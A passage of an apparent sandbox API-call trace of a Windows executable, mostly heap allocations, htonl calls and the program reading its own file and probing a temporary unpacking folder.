0x2a1fd50 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0072.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2a71840 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b868 | out: hHeap=0x2ad0000) returned 1 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fb40 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f6a8 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0072.033] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71900 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd80 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6fb40 | out: hHeap=0x2ad0000) returned 1 [0072.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a27be8 [0072.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2af38 | out: hHeap=0x2ad0000) returned 1 [0072.033] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105b390 | out: hHeap=0x1030000) returned 1 [0072.033] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x20000000) returned 0x20 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x40000000) returned 0x40 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x40000000) returned 0x40 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.034] htonl (hostlong=0x20000000) returned 0x20 [0072.034] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x50000000) returned 0x50 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x20000000) returned 0x20 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.035] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.036] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x20000000) returned 0x20 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.037] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.038] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] htonl (hostlong=0x30000000) returned 0x30 [0072.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0072.039] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x84) returned 0x103f060 [0072.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.039] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpszShortPath=0x0, cchBuffer=0x0 | out: lpszShortPath=0x0) returned 0x25 [0072.040] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x4c) returned 0x1052470 [0072.040] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpszShortPath=0x1052470, cchBuffer=0x25 | out: lpszShortPath="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE") returned 0x24 [0072.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0072.040] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x26) returned 0x103f190 [0072.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", cchWideChar=-1, lpMultiByteStr=0x103f190, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", lpUsedDefaultChar=0x0) returned 37 [0072.040] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0072.040] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0072.040] GetLastError () returned 0x0 [0072.040] SetLastError (dwErrCode=0x0) [0072.040] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f190 | out: hHeap=0x1030000) returned 1 [0072.040] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6548, Size=0x14) returned 0x2a715c0 [0072.040] htonl (hostlong=0x20000000) returned 0x20 [0072.040] htonl (hostlong=0x20000000) returned 0x20 [0072.040] htonl (hostlong=0x30000000) returned 0x30 [0072.040] htonl (hostlong=0x30000000) returned 0x30 [0072.040] htonl (hostlong=0x30000000) returned 0x30 [0072.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bb668, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.040] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bb654, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0072.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb50c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.041] GetFileType (hFile=0x1d4) returned 0x1 [0072.041] htonl (hostlong=0x82330000) returned 0x3382 [0072.041] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4e382, lpNewFilePointer=0x0, dwMoveMethod=0x9bb7c4 | out: lpNewFilePointer=0x0) returned 1 [0072.041] htonl (hostlong=0x2e070000) returned 0x72e [0072.041] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x72e) returned 0x1058628 [0072.041] htonl (hostlong=0x2e070000) returned 0x72e [0072.041] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1058d60 [0072.041] ReadFile (in: hFile=0x1d4, lpBuffer=0x1058d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bb74c, lpOverlapped=0x0 | out: lpBuffer=0x1058d60*, lpNumberOfBytesRead=0x9bb74c*=0x1000, lpOverlapped=0x0) returned 1 [0072.041] htonl (hostlong=0x8f140000) returned 0x148f [0072.041] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x148f) returned 0x1059d68 [0072.041] htonl (hostlong=0x2e070000) returned 0x72e [0072.041] htonl (hostlong=0x8f140000) returned 0x148f [0072.041] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x105b200 [0072.041] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105b200 | out: hHeap=0x1030000) returned 1 [0072.041] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058628 | out: hHeap=0x1030000) returned 1 [0072.041] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058d60 | out: hHeap=0x1030000) returned 1 [0072.041] CloseHandle (hObject=0x1d4) returned 1 [0072.041] htonl (hostlong=0x8f140000) returned 0x148f [0072.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3ca) returned 0x2a72368 [0072.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fdf8, Size=0x20) returned 0x2a1f8d0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8d0, Size=0x40) returned 0x2a2ca38 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ee0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x8c) returned 0x2a70ee0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0xb8) returned 0x2a70ee0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0xe8) returned 0x2a70ee0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x120) returned 0x2a70ee0 [0072.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x160) returned 0x2a70ee0 [0072.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a702e8 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd80 [0072.042] GetCurrentThreadId () returned 0x9b0 [0072.043] GetCurrentThreadId () returned 0x9b0 [0072.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xac) returned 0x2a70ee0 [0072.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.043] GetCurrentThreadId () returned 0x9b0 [0072.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.043] GetCurrentThreadId () returned 0x9b0 [0072.043] GetCurrentThreadId () returned 0x9b0 [0072.043] GetLastError () returned 0x0 [0072.043] SetLastError (dwErrCode=0x0) [0072.043] GetLastError () returned 0x0 [0072.043] SetLastError (dwErrCode=0x0) [0072.043] GetLastError () returned 0x0 [0072.043] SetLastError (dwErrCode=0x0) [0072.043] GetLastError () returned 0x0 [0072.043] SetLastError (dwErrCode=0x0) [0072.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c) returned 0x2a2ca38 [0072.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64f8 [0072.044] GetLastError () returned 0x0 [0072.044] SetLastError (dwErrCode=0x0) [0072.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71820 [0072.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717e0 [0072.045] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba720, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.045] GetLastError () returned 0x5 [0072.045] GetLastError () returned 0x5 [0072.045] SetLastError (dwErrCode=0x5) [0072.045] GetLastError () returned 0x5 [0072.045] SetLastError (dwErrCode=0x5) [0072.045] GetLastError () returned 0x5 [0072.045] SetLastError (dwErrCode=0x5) [0072.045] GetLastError () returned 0x5 [0072.045] SetLastError (dwErrCode=0x5) [0072.045] GetLastError () returned 0x5 [0072.045] SetLastError (dwErrCode=0x5) [0072.045] LocalFree (hMem=0x0) returned 0x0 [0072.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0072.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2ca38 | out: hHeap=0x2ad0000) returned 1 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb0) returned 0x2a70ee0 [0072.046] GetLastError () returned 0x5 [0072.046] SetLastError (dwErrCode=0x5) [0072.046] GetLastError () returned 0x5 [0072.046] SetLastError (dwErrCode=0x5) [0072.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: 